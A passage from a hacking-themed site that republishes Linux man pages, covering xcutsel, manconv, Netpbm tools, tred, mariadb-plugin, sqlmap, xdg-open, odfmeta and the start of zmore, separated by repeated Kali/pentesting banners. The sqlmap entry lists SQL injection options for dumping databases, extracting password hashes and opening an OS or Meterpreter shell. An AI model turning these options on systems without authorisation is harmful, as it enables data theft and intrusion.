When the ``copy 0 to PRIMARY’’ button is activated, the button will remain inverted as long as xcutsel remains the owner of the selection. This serves to remind you which client owns the current selection. Note that the value of the selection remains constant; if the cutbuffer is changed, you must again activate the copy button to retrieve the new value when desired.

OPTIONS

Xcutsel accepts all of the standard X Toolkit command line options as well as the following:

-selection name
This option specifies the name of the selection to use. The default is PRIMARY. The only supported abbreviations for this option are ``-select’’, ``-sel’’ and ``-s’’, as the standard toolkit option ``-selectionTimeout’’ has a similar name.

-cutbuffer number
This option specifies the cut buffer to use. The default is cut buffer 0.

X DEFAULTS

This program accepts all of the standard X Toolkit resource names and classes as well as:

selection (class Selection)
This resource specifies the name of the selection to use. The default is PRIMARY.

cutBuffer (class CutBuffer)
This resource specifies the number of the cut buffer to use. The default is 0.

WIDGET NAMES

The following instance names may be used when user configuration of the labels in them is desired:

sel-cut (class Command)
This is the ``copy SELECTION to BUFFER’’ button.

cut-sel (class Command)
This is the ``copy BUFFER to SELECTION’’ button.

quit (class Command)
This is the ``quit’’ button.

SEE ALSO

X(7), xclipboard(1), xterm(1), text widget documentation, individual client documentation for how to make a selection.

BUGS

There is no way to change the name of the selection or the number of the cut buffer while the program is running.

AUTHOR

Ralph R. Swick, DEC/MIT Project Athena

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

523 - Linux cli command manconv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command manconv and provides detailed information about the command manconv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the manconv.

NAME 🖥️ manconv 🖥️

convert manual page from one encoding to another

SYNOPSIS

manconv -f [ from-code [:from-code . . .] ] -t to-code [ -dqhV ] [ filename ]

DESCRIPTION

manconv converts a manual page from one encoding to another, like iconv. Unlike iconv, it can try multiple possible input encodings in sequence. This is useful for manual pages installed in directories without an explicit encoding declaration, since they may be in UTF-8 or in a legacy character set.

If an encoding declaration is found on the first line of the manual page, that declaration overrides any input encodings specified on manconv’s command line. Encoding declarations have the following form:

‘" -- coding: UTF-8 --

or (if manual page preprocessors are also to be declared):

‘" t -- coding: ISO-8859-1 --

OPTIONS

-f encodings, –from-code encodings
Try each of encodings (a colon-separated list) in sequence as the input encoding. The default is to guess likely input encodings based on the file name.

-t encoding, –to-code encoding
Convert the manual page to encoding.

-q, –quiet
Do not issue error messages when the page cannot be converted.

-d, –debug
Print debugging information.

-h, –help
Print a help message and exit.

-V, –version
Display version information.

SEE ALSO

iconv(1), man(1), man-recode(1)

AUTHOR

Colin Watson ([email protected]).

BUGS

https://gitlab.com/man-db/man-db/-/issues
https://savannah.nongnu.org/bugs/?group=man-db

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

524 - Linux cli command pbmtoascii

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtoascii and provides detailed information about the command pbmtoascii, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtoascii.

.

NAME 🖥️ pbmtoascii 🖥️

convert a PBM image to ASCII graphics

SYNOPSIS

pbmtoascii

[-1x2|-2x4]

[pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtoascii reads a PBM image as input and produces a somewhat crude ASCII graphic image as output.

To convert back, use asciitopgm(1) .

ppmtoterm does a similar thing for color images to be displayed on color text terminals.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtoascii recognizes the following command line options:

The -1x2 and -2x4 options give you two alternate ways for the pixels to get mapped to characters. With 1x2, the default, each character represents a group of 1 pixel across by 2 pixels down. With -2x4, each character represents 2 pixels across by 4 pixels down. With the 1x2 mode you can see the individual pixels, so it’s useful for previewing small images on a non-graphics terminal. The 2x4 mode lets you display larger images on a small display, but it obscures pixel-level details. 2x4 mode is also good for displaying PGM images:

pamscale -width 158 | pnmnorm | pamditherbw -threshold | pbmtoascii -2x4

should give good results.

SEE ALSO

asciitopgm(1) ppmtoascii(1) ppmtoterm(1) pbm(1)

AUTHOR

Copyright (C) 1988, 1992 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtoascii.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

525 - Linux cli command pnmtoplainpnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtoplainpnm and provides detailed information about the command pnmtoplainpnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtoplainpnm.

.

NAME 🖥️ pnmtoplainpnm 🖥️

replaced by pamtopnm

DESCRIPTION

This program is part of Netpbm(1) .

pnmtoplainpnm was obsoleted in Netpbm 10.23 (July 2004) by pamtopnm(1) . Just use the Netpbm common option -plain.

pnmtoplainpnm exists today for backward compatibility; all it does is call pamtopnm -plain.

pnmtoplainpnm was new in Netpbm 8.2 (March 2000) as a renaming of pnmnoraw, which was new in Pbmplus in November 1989.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtoplainpnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

526 - Linux cli command tred

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tred and provides detailed information about the command tred, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tred.

NAME 🖥️ tred 🖥️

transitive reduction filter for directed graphs

SYNOPSIS

tred [ -v? ] [ files ]

DESCRIPTION

tred computes the transitive reduction of directed graphs, and prints the resulting graphs to standard output. This removes edges implied by transitivity. Nodes and subgraphs are not otherwise affected. The ``meaning’’ and validity of the reduced graphs is application dependent. tred is particularly useful as a preprocessor to dot to reduce clutter in dense layouts.

Undirected graphs are silently ignored.

OPTIONS

The following options are supported:

-v
Verbose output.

-?
Print usage information.

OPERANDS

The following operand is supported:

files
Names of files containing 1 or more graphs in dot format. If no files operand is specified, the standard input will be used.

BUGS

Using bitmaps internally would substantially decrease running time.

DIAGNOSTICS

If a graph has cycles, its transitive reduction is not uniquely defined. In this case tred emits a warning.

AUTHORS

Stephen C. North <[email protected]>
Emden R. Gansner <[email protected]>

SEE ALSO

gc(1), dot(1), acyclic(1), gvpr(1), gvcolor(1), ccomps(1), sccmap(1), libgraph(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

527 - Linux cli command mariadb-plugin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-plugin and provides detailed information about the command mariadb-plugin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-plugin.

NAME 🖥️ mariadb-plugin 🖥️

plugin - configure MariaDB server plugins (mysql_plugin is now a symlink to mariadb-plugin)

SYNOPSIS

mysql_plugin [options] plugin {ENABLE|DISABLE}

DESCRIPTION

The mysql_plugin utility enables MariaDB administrators to manage which plugins a MariaDB server loads. It provides an alternative to manually specifying the –plugin-load option at server startup or using the INSTALL PLUGIN and UNINSTALL PLUGIN statements at runtime.

Depending on whether mysql_plugin is invoked to enable or disable plugins, it inserts or deletes rows in the mysql.plugin table that serves as a plugin registry. (To perform this operation, mysql_plugin invokes the MariaDB server in bootstrap mode. This means that the server must not already be running.) For normal server startups, the server loads and enables plugins listed in mysql.plugin automatically. For additional control over plugin activation, use **–**plugin_name options named for specific plugins.

Each invocation of mysql_plugin reads a configuration file to determine how to configure the plugins contained in a single plugin library object file. To invoke mysql_plugin, use this syntax:

mysql_plugin [options] plugin {ENABLE|DISABLE}

plugin is the name of the plugin to configure. ENABLE or DISABLE (not case sensitive) specify whether to enable or disable components of the plugin library named in the configuration file. The order of the plugin and ENABLE or DISABLE arguments does not matter.

For example, to configure components of a plugin library file named myplugins.so on Linux or myplugins.dll on Windows, specify a plugin value of myplugins. Suppose that this plugin library contains three plugins, plugin1, plugin2, and plugin3, all of which should be configured under mysql_plugin control. By convention, configuration files have a suffix of .ini and the same basename as the plugin library, so the default configuration file name for this plugin library is myplugins.ini. The configuration file contents look like this:

myplugins plugin1 plugin2 plugin3

The first line in the myplugins.ini file is the name of the library object file, without any extension such as .so or .dll. The remaining lines are the names of the components to be enabled or disabled. Each value in the file should be on a separate line. Lines on which the first character is # are taken as comments and ignored.

To enable the plugins listed in the configuration file, invoke mysql_plugin this way:

shell> mysql_plugin myplugins ENABLE

To disable the plugins, use DISABLE rather than ENABLE.

An error occurs if mysql_plugin cannot find the configuration file or plugin library file, or if mysql_plugin cannot start the MariaDB server.

mysql_plugin supports the following options, which can be specified on the command line or in the [mysqld] group of any option file. For options specified in a [mysqld] group, mysql_plugin recognizes the –basedir, –datadir, and –plugin-dir options and ignores others.

mysql_plugin Options

·

–help, -?

Display a help message and exit.

·

**–basedir=**path, -b path

The server base directory.

·

**–datadir=**path, -d path

The server data directory.

·

**–my-print-defaults=**path, -b path

The path to the my_print_defaults program.

·

**–mysqld=**path, -b path

The path to the mysqld server.

·

–no-defaults, -p

Do not read values from the configuration file. This option enables an administrator to skip reading defaults from the configuration file.

With mysql_plugin, this option need not be given first on the command line, unlike most other MariaDB programs that support –no-defaults.

·

**–plugin-dir=**path, -p path

The server plugin directory.

·

**–plugin-ini=**file_name, -i file_name

The mysql_plugin configuration file. Relative path names are interpreted relative to the current directory. If this option is not given, the default is plugin.ini in the plugin directory, where plugin is the plugin argument on the command line.

·

–print-defaults, -P

Display the default values from the configuration file. This option causes mysql_plugin to print the defaults for –basedir, –datadir, and –plugin-dir if they are found in the configuration file. If no value for a variable is found, nothing is shown.

With mysql_plugin, this option need not be given first on the command line, unlike most other MariaDB programs that support –print-defaults.

·

–verbose, -v

Verbose mode. Print more information about what the program does. This option can be used multiple times to increase the amount of information.

·

–version, -V

Display version information and exit.

COPYRIGHT

Copyright © 1997, 2013, Oracle and/or its affiliates. All rights reserved., 2013-2019 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

528 - Linux cli command sqlmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sqlmap and provides detailed information about the command sqlmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sqlmap.

NAME 🖥️ sqlmap 🖥️

automatic SQL injection tool

SYNOPSIS

python3 sqlmap [options]

DESCRIPTION

___

__H__

___ ___[’]_____ ___ ___
{1.7.10#stable}

|_ -| . [,] | .’| . | |___|_ [)]_|_|_|__,| _|

|_|V…
|_| https://sqlmap.org

OPTIONS

-h, –help
Show basic help message and exit

-hh
Show advanced help message and exit

–version
Show program’s version number and exit

-v VERBOSE
Verbosity level: 0-6 (default 1)

Target:

At least one of these options has to be provided to define the target(s)

-u URL, –url=URL
Target URL (e.g. “http://www.site.com/vuln.php?id=1")

-g GOOGLEDORK
Process Google dork results as target URLs

Request:

These options can be used to specify how to connect to the target URL

–data=DATA
Data string to be sent through POST (e.g. “id=1”)

–cookie=COOKIE
HTTP Cookie header value (e.g. “PHPSESSID=a8d127e..”)

–random-agent
Use randomly selected HTTP User-Agent header value

–proxy=PROXY
Use a proxy to connect to the target URL

–tor
Use Tor anonymity network

–check-tor
Check to see if Tor is used properly

Injection:

These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER
Testable parameter(s)

–dbms=DBMS
Force back-end DBMS to provided value

Detection:

These options can be used to customize the detection phase

–level=LEVEL
Level of tests to perform (1-5, default 1)

–risk=RISK
Risk of tests to perform (1-3, default 1)

Techniques:

These options can be used to tweak testing of specific SQL injection techniques

–technique=TECH..
SQL injection techniques to use (default “BEUSTQ”)

Enumeration:

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables

-a, –all
Retrieve everything

-b, –banner
Retrieve DBMS banner

–current-user
Retrieve DBMS current user

–current-db
Retrieve DBMS current database

–passwords
Enumerate DBMS users password hashes

–dbs
Enumerate DBMS databases

–tables
Enumerate DBMS database tables

–columns
Enumerate DBMS database table columns

–schema
Enumerate DBMS schema

–dump
Dump DBMS database table entries

–dump-all
Dump all DBMS databases tables entries

-D DB
DBMS database to enumerate

-T TBL
DBMS database table(s) to enumerate

-C COL
DBMS database table column(s) to enumerate

Operating system access:

These options can be used to access the back-end database management system underlying operating system

–os-shell
Prompt for an interactive operating system shell

–os-pwn
Prompt for an OOB shell, Meterpreter or VNC

General:

These options can be used to set some general working parameters

–batch
Never ask for user input, use the default behavior

–flush-session
Flush session files for current target

Miscellaneous:

These options do not fit into any other category

–wizard
Simple wizard interface for beginner users

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

529 - Linux cli command pgmcrater

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmcrater and provides detailed information about the command pgmcrater, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmcrater.

.

NAME 🖥️ pgmcrater 🖥️

create cratered terrain by fractal forgery

SYNOPSIS

pgmcrater

[-number n]

[-height|-ysize s]

[-width|-xsize s]

[-gamma g]

[**-randomseed=**integer]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pgmcrater is obsolete. All it does now is invoke pamcrater, pamshadedrelief, and pamtopnm. You should use those programs in any new application, or if you are modifying an old program or process that does not have to work with a version of Netpbm before 10.68 (September 2014). pgmcrater exists only for backward compatibility.

The combination of the three programs mentioned above performs the same function as traditional pgmcrater.

pgmcrater’s -number, -height, -width, and -randomseed options are equivalent to the options of the same name on pamcrater.

pgmcrater’s -gamma option is equivalent to the option of the same name on pamshadedrelief.

pgmcrater’s -ysize option is identical to -height; -xsize is identical to -width.

Note: The former pgmcrater code was split into pamcrater and pamshadedrelief. The reason for the split is that having separate programs is more consistent with Netpbm’s building block philosophy. It is possible the separate components can be used in other applications.

SEE ALSO

pamcrater(1) , pamshadedrelief(1) , pamtopnm(1) ,

Table Of Contents

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmcrater.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

530 - Linux cli command xdg-open

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xdg-open and provides detailed information about the command xdg-open, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xdg-open.

NAME 🖥️ xdg-open 🖥️

open - opens a file or URL in the users preferred application

SYNOPSIS

xdg-open {file | URL}

xdg-open {–help | –manual | –version}

DESCRIPTION

xdg-open opens a file or URL in the users preferred application. If a URL is provided the URL will be opened in the users preferred web browser. If a file is provided the file will be opened in the preferred application for files of that type. xdg-open supports file, ftp, http and https URLs.

xdg-open is for use inside a desktop session only. It is not recommended to use xdg-open as root.

OPTIONS

–help

Show command synopsis.

–manual

Show this manual page.

–version

Show the xdg-utils version information.

EXIT CODES

An exit code of 0 indicates success while a non-zero exit code indicates failure. The following failure codes can be returned:

1

Error in command line syntax.

2

One of the files passed on the command line did not exist.

3

A required tool could not be found.

4

The action failed.

SEE ALSO

xdg-mime(1), xdg-settings(1), MIME applications associations specification[1]

EXAMPLES

xdg-open http://www.freedesktop.org/

Opens the freedesktop.org website in the users default browser.

xdg-open /tmp/foobar.png

Opens the PNG image file /tmp/foobar.png in the users default image viewing application.

AUTHORS

Kevin Krammer

Author.

Jeremy White

Author.

COPYRIGHT

Copyright © 2006

NOTES

MIME applications associations specification

http://www.freedesktop.org/wiki/Specifications/mime-apps-spec/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

531 - Linux cli command odfmeta

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command odfmeta and provides detailed information about the command odfmeta, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the odfmeta.

NAME 🖥️ odfmeta 🖥️

List or change the metadata of an ODF file

SYNOPSIS

odfmeta [-l] [-v] [-V] [-c] [-d] [-x metafield…] [-X metafield…] [-a metafield…] [-A metafield…] [-I metafield…] [-o path] path

DESCRIPTION

odfmeta is a program that will list or change the metadata in an OpenDocument file. This is useful for version control systems. You can change title, keywords, description etc.

“Path” is assumed to be an OpenDocument file of text, spreadsheet or presentation type.

OPTIONS

-l

List (extract) all known metadata fields.

-v or -V

Print the version number of the ODF document format. If you use -V it will print “version:” before the number for compatibility with -X. The version number cant be modified.

-c

Make field values continuous by normalizing white space. Might be convenient when postprocessing with standard (line oriented) text utilities.

-d

Update the modification date to the current date and time.

-x metafield

Extract the contents of this metafield from the file. Known field names are creation-date, creator, date, description, editing-cycles, editing-duration, generator, initial-creator, keyword, language, print-date, printed-by, subject, title, user-defined. All other names are assumed to be user defined.

-X metafield

Same as -x, but also preserves/includes the field name.

-a metafield

Append a custom metafield to the metadata; but only if a similar field does not exist yet.

-A metafield

Append a custom metafield to the metadata in any case.

-I metafield

Append a custom metafield to the metadata and remove any existing similar field.

-o path

Filename to write modified ODT file to. If no -o option is provided, the ODT file will be written to stdout.

EXAMPLES

odfmeta -l odf-file.odt odfmeta -I “title:The Little Engine That Could” -A subject:I-think-I-can -o newfile.odt source.odt

SEE ALSO

formail(1), id3tag(1)

BUGS

All known versions of OpenOffice.org keep only four <meta:user-defined> elements. If you add more than those, youll loose them next time you save with OpenOffice.org. KOffice keeps only one <meta:keyword> element.

AUTHOR

Søren Roug

Original author

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

532 - Linux cli command zmore

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zmore and provides detailed information about the command zmore, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zmore.

NAME 🖥️ zmore 🖥️

file perusal filter for crt viewing of compressed text

SYNOPSIS

zmore [ name … ]

DESCRIPTION

The zmore command is a filter which allows examination of compressed or plain text files one screenful at a time on a soft-copy terminal. The zmore command works on files compressed with compress, pack or gzip, and also on uncompressed files. If a file does not exist, zmore looks for a file of the same name with the addition of a .gz, .z or .Z suffix.

The zmore command normally pauses after each screenful, printing –More– at the bottom of the screen. If the user then types a carriage return, one more line is displayed. If the user hits a space, another screenful is displayed. Other possibilities are enumerated later.

The zmore command looks in the file /etc/termcap to determine terminal characteristics, and to determine the default window size. On a terminal capable of displaying 24 lines, the default window size is 22 lines. To use a pager other than the default more, set environment variable PAGER to the name of the desired program, such as less.

Other sequences which may be typed when zmore pauses, and their effects, are as follows (i is an optional integer argument, defaulting to 1) :

i <space>
display i more lines, (or another screenful if no argument is given)

^D
display 11 more lines (a ``scroll’’). If i is given, then the scroll size is set to i.

  1. same as ^D (control-D)

i z
same as typing a space except that i, if present, becomes the new window size.

i s
skip i lines and print a screenful of lines

i f
